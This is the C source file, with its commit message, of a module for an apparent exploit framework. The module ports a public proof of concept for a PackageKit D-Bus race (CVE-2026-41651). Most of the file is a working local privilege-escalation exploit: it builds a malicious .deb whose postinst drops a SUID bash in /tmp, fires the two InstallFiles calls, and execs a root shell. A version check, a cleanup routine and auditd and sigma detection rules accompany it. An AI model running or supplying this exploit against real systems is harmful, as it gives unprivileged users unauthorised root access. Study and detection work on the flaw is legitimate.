Files
SKELETONKEY/modules/pack2theroot_cve_2026_41651/skeletonkey_modules.c
T
leviathan 9a4cc91619 pack2theroot (CVE-2026-41651) + --auto accuracy work
Adds the third ported module — Pack2TheRoot, a userspace PackageKit
D-Bus TOCTOU LPE — and spends real effort hardening --auto so its
detect step gives an accurate, robust verdict before deploying.

pack2theroot (CVE-2026-41651):
- Ported from the public Vozec PoC
  (github.com/Vozec/CVE-2026-41651). Original disclosure by the
  Deutsche Telekom security team.
- Two back-to-back InstallFiles D-Bus calls (SIMULATE then NONE)
  overwrite the cached transaction flags between polkit auth and
  dispatch. GLib priority ordering makes the overwrite deterministic,
  not a timing race; postinst of the malicious .deb drops a SUID bash
  in /tmp.
- detect() reads PackageKit's VersionMajor/Minor/Micro directly over
  D-Bus and compares against the pinned fix release 1.3.5 (commit
  76cfb675). This is a high-confidence verdict, not precondition-only.
- Debian-family only (PoC builds its own .deb in pure C; ar/ustar/
  gzip-stored inline). Cleanup removes /tmp .debs + best-effort
  unlinks /tmp/.suid_bash + sudo -n dpkg -r the staging packages.
- Adds an optional GLib/GIO build dependency. The top-level Makefile
  autodetects via `pkg-config gio-2.0`; when absent the module
  compiles as a stub returning PRECOND_FAIL.
- Embedded auditd + sigma rules cover the file-side footprint
  (/tmp/.suid_bash, /tmp/.pk-*.deb, non-root dpkg/apt execve).

--auto accuracy improvements:
- Auto-enables --active before the scan. Per-module sentinel probes
  (page-cache /tmp files, fork-isolated namespace mounts) turn
  version-only checks into definitive verdicts, so silent distro
  backports don't fool the scan and --auto won't pick blind on
  TEST_ERROR.
- Per-module verdict printing — every module's result is shown
  (VULNERABLE / patched / precondition / indeterminate), not just
  VULNERABLE rows. Operator sees the full picture.
- Scan-end summary line: "N vulnerable, M patched/n.a., K
  precondition-fail, L indeterminate" with a separate callout when
  modules crashed.
- Distro fingerprint added to the auto banner (ID + VERSION_ID from
  /etc/os-release alongside kernel/arch).
- Fork-isolated detect() — each detector runs in a child process so
  a SIGILL/SIGSEGV in one module's probe is contained and the scan
  continues. Surfaced live while testing: entrybleed's prefetchnta
  KASLR sweep SIGILLs on emulated CPUs (linuxkit on darwin); without
  isolation the whole --auto died at module 7 of 31. With isolation
  the scan reports "detect() crashed (signal 4) — continuing" and
  finishes cleanly.

module_safety_rank additions:
- pack2theroot: 95 (userspace D-Bus TOCTOU; dpkg + /tmp SUID footprint
  — clean but heavier than pwnkit's gconv-modules-only path).
- dirtydecrypt / fragnesia: 86 (page-cache writes; one step below the
  verified copy_fail/dirty_frag family at 88 to prefer verified
  modules when both apply).

Docs:
- README badge / tagline / tier table /  block / example output /
  v0.5.0 status — all updated to "28 verified + 3 ported".
- CVES.md counts line, the ported-modules note (now calling out
  pack2theroot's high-confidence detect vs. precondition-only for
  the page-cache pair), inventory row, operations table row.
- ROADMAP Phase 7+: pack2theroot moved out of carry-overs into the
  "landed (ported, pending VM verification)" group; added a new
  "--auto accuracy work" subsection documenting the dispatcher
  hardening landed in this commit.
- docs/index.html: scanning-count example bumped to 31, status line
  updated to mention 3 ported modules.

Build verification: full `make clean && make` in `docker gcc:latest`
with libglib2.0-dev installed: links into a 31-module skeletonkey
ELF (413KB), `--list` shows all modules including pack2theroot,
`--detect-rules --format=auditd` emits the new pack2theroot section,
`--auto --i-know --no-shell` exercises the new banner + active
probes + verdict table + fork isolation + scan summary end-to-end.
Only build warning is the pre-existing
`-Wunterminated-string-initialization` in dirty_pipe (not introduced
here).
2026-05-22 22:42:07 -04:00

697 lines
25 KiB
C

/*
* pack2theroot_cve_2026_41651 — SKELETONKEY module
*
* Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU LPE.
*
* Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
* BUG 1 InstallFiles() stores cached_transaction_flags and
* cached_full_paths unconditionally, with no state guard.
* BUG 2 pk_transaction_set_state() silently rejects backward
* transitions (READY → WAITING_FOR_AUTH).
* BUG 3 pk_transaction_run() reads the cached flags at dispatch
* time, not at authorisation time.
* BYPASS The SIMULATE flag skips polkit entirely.
*
* Two back-to-back async D-Bus InstallFiles() calls — first with
* SIMULATE (bypasses polkit, queues a GLib idle callback), then
* immediately with NONE + the malicious .deb (overwrites the cached
* flags/paths before the idle fires). GLib priority ordering makes
* this deterministic, not a timing race. postinst of the malicious
* .deb installs a SUID bash at /tmp/.suid_bash → root shell.
*
* This module is a faithful port of the public PoC by Vozec
* (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
* (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
* D-Bus call sequence are reproduced from that PoC. The original
* disclosure was by the Deutsche Telekom security team. See
* NOTICE.md.
*
* Build adaptation: the module requires GLib/GIO for D-Bus. The
* top-level Makefile autodetects gio-2.0 via pkg-config and defines
* PACK2TR_HAVE_GIO when present. When absent, the module compiles as
* a stub that returns PRECOND_FAIL with a build-time hint.
*
* Port adaptations vs. the standalone PoC:
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
* - exploit() runs the PoC body in a forked child so the PoC's
* die()/exit() paths cannot tear down the skeletonkey dispatcher
* - detect() does a passive precondition + version check (vulnerable
* range 1.0.2 ≤ V ≤ 1.3.4, fixed in 1.3.5) — no version-only
* fabrication; the fix release is officially pinned
* - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
* the SUID bash shell)
* - cleanup() removes the two /tmp .debs and best-effort-unlinks
* /tmp/.suid_bash (which requires root since it is owned by root)
*
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
* vulnerable PackageKit (1.3.4 or earlier) host. The fix release
* (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
* Makefile; do not redefine here. */
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/file.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <time.h>
#include <glib.h>
#include <gio/gio.h>
/* ── config ────────────────────────────────────────────────────────── */
#define SUID_PATH "/tmp/.suid_bash"
#define PK_BUS "org.freedesktop.PackageKit"
#define PK_OBJ "/org/freedesktop/PackageKit"
#define PK_IFACE "org.freedesktop.PackageKit"
#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
#define FLAG_NONE ((guint64)0)
#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */
/* Vulnerable range: PackageKit 1.0.2 ≤ V ≤ 1.3.4. Fixed in 1.3.5. */
#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
#define P2TR_VER_LO P2TR_VER(1,0,2)
#define P2TR_VER_HI P2TR_VER(1,3,4)
static int p2tr_verbose = 1;
#define LOG(fmt, ...) do { if (p2tr_verbose) \
fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
/* ── CRC-32 (ISO 3309) — verbatim from V12 PoC ─────────────────────── */
static uint32_t crc_tab[256];
static void crc_init(void)
{
for (unsigned i = 0; i < 256; i++) {
uint32_t c = i;
for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
crc_tab[i] = c;
}
}
static uint32_t crc32_iso(const void *src, size_t n)
{
const uint8_t *p = src; uint32_t c = 0xffffffffu;
while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
return c ^ 0xffffffffu;
}
/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
{
if (len > 0xffff) return 0;
uint8_t *p = dst;
*p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
uint16_t ln = len, nln = ~ln;
*p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
memcpy(p, src, len); p += len;
uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
return p - dst;
}
/* ── ustar tar entry ───────────────────────────────────────────────── */
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
size_t dlen, mode_t mode, char type)
{
memset(buf, 0, 512);
snprintf((char *)buf, 100, "%s", name);
snprintf((char *)buf+100, 8, "%07o", (unsigned)mode);
snprintf((char *)buf+108, 8, "%07o", 0u);
snprintf((char *)buf+116, 8, "%07o", 0u);
snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen);
snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL));
memset(buf+148, ' ', 8);
buf[156] = type;
memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
snprintf((char *)buf+148, 8, "%06o", sum);
buf[154] = '\0'; buf[155] = ' ';
size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
if (dlen && data) memcpy(buf + 512, data, dlen);
if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen);
return 512 + pad;
}
/* ── ar member ─────────────────────────────────────────────────────── */
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
{
char h[61]; memset(h, ' ', 60); h[60] = 0;
char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6);
memcpy(h+40, "100644 ", 8);
snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
h[58] = '`'; h[59] = '\n';
fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
if (sz % 2) fputc('\n', f);
}
/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
static int build_deb(const char *dest, const char *pkg, const char *postinst)
{
static uint8_t tarbuf[65536], gzbuf[65536+256];
memset(tarbuf, 0, sizeof tarbuf);
crc_init();
size_t off = 0;
char ctrl[512];
snprintf(ctrl, sizeof ctrl,
"Package: %s\nVersion: 1.0\nArchitecture: all\n"
"Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5');
off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0');
if (postinst)
off += tar_entry(tarbuf+off, "./postinst", postinst,
strlen(postinst), 0755, '0');
off += 1024; /* end-of-archive: two 512-byte zero blocks */
size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
if (!ctrl_gz_len) return -1;
static uint8_t empty_tar[1024], data_gz[256];
memset(empty_tar, 0, sizeof empty_tar);
size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
FILE *f = fopen(dest, "wb");
if (!f) return -1;
fwrite("!<arch>\n", 1, 8, f);
ar_entry(f, "debian-binary", "2.0\n", 4);
ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len);
ar_entry(f, "data.tar.gz", data_gz, data_gz_len);
fclose(f);
return 0;
}
/* ── D-Bus helpers ─────────────────────────────────────────────────── */
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
GVariant *p, gpointer u)
{
P2trCtx *ctx = u; guint32 ec, rt;
g_variant_get(p, "(uu)", &ec, &rt);
LOG("transaction finished (exit=%u, %u ms)", ec, rt);
ctx->exit_code = ec; ctx->done = TRUE;
g_main_loop_quit(ctx->loop);
}
static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
GVariant *p, gpointer u G_GNUC_UNUSED)
{
guint32 code; const gchar *det;
g_variant_get(p, "(u&s)", &code, &det);
LOG("PK error %u: %s", code, det);
}
static gboolean cb_timeout(gpointer u)
{
ERR("transaction loop timed out");
g_main_loop_quit(u);
return G_SOURCE_REMOVE;
}
static char *pk_create_tx(GDBusConnection *conn)
{
GError *e = NULL;
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
"CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
if (!r) {
ERR("CreateTransaction: %s", e ? e->message : "?");
if (e) g_error_free(e);
return NULL;
}
const gchar *tid; g_variant_get(r, "(&o)", &tid);
char *copy = g_strdup(tid); g_variant_unref(r);
return copy;
}
/* Fire-and-forget: both messages must land in the server's socket
* buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
guint64 flags, const char *path)
{
const char *paths[] = { path, NULL };
g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
"InstallFiles", g_variant_new("(t^as)", flags, paths),
NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
}
static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
{
GError *e = NULL;
GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
"/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
if (!r) { if (e) g_error_free(e); return false; }
gboolean has; g_variant_get(r, "(b)", &has);
g_variant_unref(r);
return (bool)has;
}
/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
{
static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
int *out[3] = { maj, min, mic };
for (int i = 0; i < 3; i++) {
GError *e = NULL;
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
"org.freedesktop.DBus.Properties", "Get",
g_variant_new("(ss)", PK_IFACE, names[i]),
G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
2000, NULL, &e);
if (!r) { if (e) g_error_free(e); return false; }
GVariant *vinner = NULL;
g_variant_get(r, "(v)", &vinner);
if (!vinner) { g_variant_unref(r); return false; }
if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
*out[i] = (int)g_variant_get_uint32(vinner);
else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
*out[i] = (int)g_variant_get_int32(vinner);
else {
g_variant_unref(vinner); g_variant_unref(r); return false;
}
g_variant_unref(vinner); g_variant_unref(r);
}
return true;
}
/* ── detect ────────────────────────────────────────────────────────── */
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
{
p2tr_verbose = !ctx->json;
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
return SKELETONKEY_OK;
}
if (access("/etc/debian_version", F_OK) != 0) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: not a Debian/Ubuntu host "
"(PoC's .deb builder is Debian-family-only)\n");
return SKELETONKEY_PRECOND_FAIL;
}
GError *e = NULL;
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
if (!conn) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
e ? e->message : "(unknown)");
if (e) g_error_free(e);
return SKELETONKEY_PRECOND_FAIL;
}
if (!dbus_name_has_owner(conn, PK_BUS)) {
if (!ctx->json)
fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
"registered on the system bus\n");
g_object_unref(conn);
return SKELETONKEY_PRECOND_FAIL;
}
int maj = 0, min = 0, mic = 0;
bool got_version = pk_query_version(conn, &maj, &min, &mic);
g_object_unref(conn);
if (!got_version) {
if (!ctx->json)
fprintf(stderr, "[?] pack2theroot: PackageKit running but "
"VersionMajor/Minor/Micro unreadable — patch-level "
"unknown\n");
return SKELETONKEY_TEST_ERROR;
}
int v = P2TR_VER(maj, min, mic);
if (!ctx->json)
fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
maj, min, mic);
if (v < P2TR_VER_LO) {
if (!ctx->json)
fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
"(introduced in 1.0.2)\n", maj, min, mic);
return SKELETONKEY_OK;
}
if (v > P2TR_VER_HI) {
if (!ctx->json)
fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
"(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
"VULNERABLE (range 1.0.2 ≤ V ≤ 1.3.4)\n", maj, min, mic);
return SKELETONKEY_VULNERABLE;
}
/* ── exploit child (faithful port of the PoC main() body) ──────────── */
static int p2tr_child_run(int no_shell)
{
char dummy[64], payload[64], postinst[160];
snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid());
snprintf(postinst, sizeof postinst,
"#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
LOG("building .deb packages (pure C; ar/tar/gzip inline)");
if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) {
ERR("dummy .deb build failed");
return 2;
}
if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
ERR("payload .deb build failed"); unlink(dummy);
return 2;
}
if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
ERR("built .deb files are missing"); return 2;
}
LOG("dummy : %s", dummy);
LOG("payload : %s", payload);
GError *err = NULL;
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
if (!conn) {
ERR("system D-Bus: %s", err ? err->message : "?");
if (err) g_error_free(err);
unlink(dummy); unlink(payload);
return 4;
}
char *tid = pk_create_tx(conn);
if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
LOG("transaction : %s", tid);
P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
"Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
"ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL);
/* ── EXPLOIT ───────────────────────────────────────────────────── */
LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
(unsigned long long)FLAG_SIMULATE);
pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
(unsigned long long)FLAG_NONE);
pk_install_files_async(conn, tid, FLAG_NONE, payload);
/* Flush so both messages land in the server's socket buffer before
* its main loop runs the GLib idle from step 1. */
{
GError *fe = NULL;
if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
ERR("D-Bus flush: %s", fe ? fe->message : "?");
g_clear_error(&fe);
}
}
LOG("awaiting dispatch (30s max)");
g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
g_main_loop_run(pkctx.loop);
g_dbus_connection_signal_unsubscribe(conn, sf);
g_dbus_connection_signal_unsubscribe(conn, se);
g_free(tid);
g_object_unref(conn);
/* Record /tmp paths for cleanup() even if the SUID never lands. */
int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sf2 >= 0) {
dprintf(sf2, "%s\n%s\n", dummy, payload);
close(sf2);
}
/* Poll up to 120s for the SUID bash; the APT backend may keep
* running after polkit fires. Faithful to the PoC's polling loop. */
LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
struct stat st;
int appeared_at = -1;
for (int i = 0; i < 1200; i++) {
usleep(100000); /* 100 ms */
if (i % 50 == 0 && p2tr_verbose) {
int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
int lock_held = 0;
if (lock_fd >= 0) {
lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
if (!lock_held) flock(lock_fd, LOCK_UN);
close(lock_fd);
}
fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s "
"dpkg_lock=%s suid=%s\n",
(i/10)+1,
access(payload, F_OK) == 0 ? "present" : "consumed",
lock_held ? "held" : "free",
access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
}
if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
appeared_at = i;
break;
}
}
if (appeared_at < 0) {
ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
return 3; /* EXPLOIT_FAIL */
}
LOG("SUCCESS — SUID bash landed at t+%dms", appeared_at * 100);
if (no_shell) {
LOG("--no-shell: payload placed, root shell not spawned");
LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
return 0;
}
/* Exec the SUID bash interactively. */
if (isatty(STDIN_FILENO)) {
char *ttydev = ttyname(STDIN_FILENO);
pid_t child = fork();
if (child == 0) {
setsid();
if (ttydev) {
int t = open(ttydev, O_RDWR);
if (t >= 0) {
ioctl(t, TIOCSCTTY, 1);
dup2(t, 0); dup2(t, 1); dup2(t, 2);
if (t > 2) close(t);
}
}
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
execv(SUID_PATH, argv);
_exit(1);
}
if (child > 0) { int s; waitpid(child, &s, 0); }
} else {
/* Non-tty: just exec the SUID bash (replaces our process). */
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
execv(SUID_PATH, argv);
ERR("execv(%s): %s", SUID_PATH, strerror(errno));
return 3;
}
return 0;
}
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
{
p2tr_verbose = !ctx->json;
if (geteuid() == 0) {
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
return SKELETONKEY_OK;
}
pid_t pid = fork();
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (pid == 0) {
int rc = p2tr_child_run(ctx->no_shell);
_exit(rc);
}
int st;
waitpid(pid, &st, 0);
if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
switch (WEXITSTATUS(st)) {
case 0: return SKELETONKEY_EXPLOIT_OK;
case 4: return SKELETONKEY_PRECOND_FAIL;
default: return SKELETONKEY_EXPLOIT_FAIL;
}
}
/* ── cleanup ───────────────────────────────────────────────────────── */
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
{
p2tr_verbose = !ctx->json;
/* Remove the two staged .debs (recorded during exploit). */
int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
if (sf >= 0) {
char buf[512] = {0};
ssize_t n = read(sf, buf, sizeof(buf) - 1);
close(sf);
if (n > 0) {
char *line = strtok(buf, "\n");
while (line) {
if (unlink(line) == 0) LOG("removed %s", line);
line = strtok(NULL, "\n");
}
}
unlink("/tmp/skeletonkey-pack2theroot.state");
}
/* Best-effort remove the SUID bash. It is owned by root, so this
* only succeeds when cleanup runs with root privileges (e.g. the
* caller already used the SUID shell to escalate). */
if (access(SUID_PATH, F_OK) == 0) {
if (unlink(SUID_PATH) == 0) {
LOG("removed %s", SUID_PATH);
} else {
ERR("could not remove %s (%s); rerun cleanup as root, or:",
SUID_PATH, strerror(errno));
ERR(" sudo rm -f %s", SUID_PATH);
}
}
/* Best-effort: uninstall the malicious package via passwordless sudo. */
if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
">/dev/null 2>&1") == 0) {
LOG("dpkg -r removed staged packages");
} else {
LOG("dpkg -r not run automatically; if needed:");
LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
}
return SKELETONKEY_OK;
}
#else /* !__linux__ || !PACK2TR_HAVE_GIO */
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
#ifndef __linux__
fprintf(stderr, "[i] pack2theroot: Linux-only module "
"(PackageKit D-Bus) — not applicable on this platform\n");
#else
fprintf(stderr, "[i] pack2theroot: module built without "
"GLib/gio-2.0 support — install libglib2.0-dev and rebuild\n");
#endif
}
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ && PACK2TR_HAVE_GIO */
/* ── embedded detection rules ──────────────────────────────────────── */
static const char p2tr_auditd[] =
"# Pack2TheRoot (CVE-2026-41651) — auditd detection rules\n"
"# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
"# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
"# Watch the side effects — D-Bus calls themselves aren't auditable\n"
"# without bus-monitoring, but the file footprint is unmistakable.\n"
"\n"
"# SUID bash carrier that the PoC postinst lands\n"
"-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
"\n"
"# Any new setuid binary owned by root in /tmp is suspicious\n"
"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
" -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
"\n"
"# The PoC drops two .deb files in /tmp before the install fires\n"
"-a always,exit -F arch=b64 -S openat,creat \\\n"
" -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
"\n"
"# packagekitd-driven dpkg activity initiated by a non-root caller\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
" -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
static const char p2tr_sigma[] =
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
"status: experimental\n"
"description: |\n"
" Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
" user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
" drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
" follows. The trigger itself is two back-to-back D-Bus calls with\n"
" no polkit prompt — only visible via dbus-monitor or the file\n"
" side effects.\n"
"references:\n"
" - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
" - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" suid_drop:\n"
" type: 'PATH'\n"
" name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
" not_root:\n"
" auid|expression: '!= 0'\n"
" condition: suid_drop and not_root\n"
"level: high\n"
"tags:\n"
" - attack.privilege_escalation\n"
" - attack.t1068\n"
" - cve.2026.41651\n";
const struct skeletonkey_module pack2theroot_module = {
.name = "pack2theroot",
.cve = "CVE-2026-41651",
.summary = "PackageKit InstallFiles TOCTOU → root via .deb postinst",
.family = "pack2theroot",
.kernel_range = "userspace — PackageKit 1.0.2 ≤ V ≤ 1.3.4 (fixed in 1.3.5)",
.detect = p2tr_detect,
.exploit = p2tr_exploit,
.mitigate = NULL,
.cleanup = p2tr_cleanup,
.detect_auditd = p2tr_auditd,
.detect_sigma = p2tr_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_pack2theroot(void)
{
skeletonkey_register(&pack2theroot_module);
}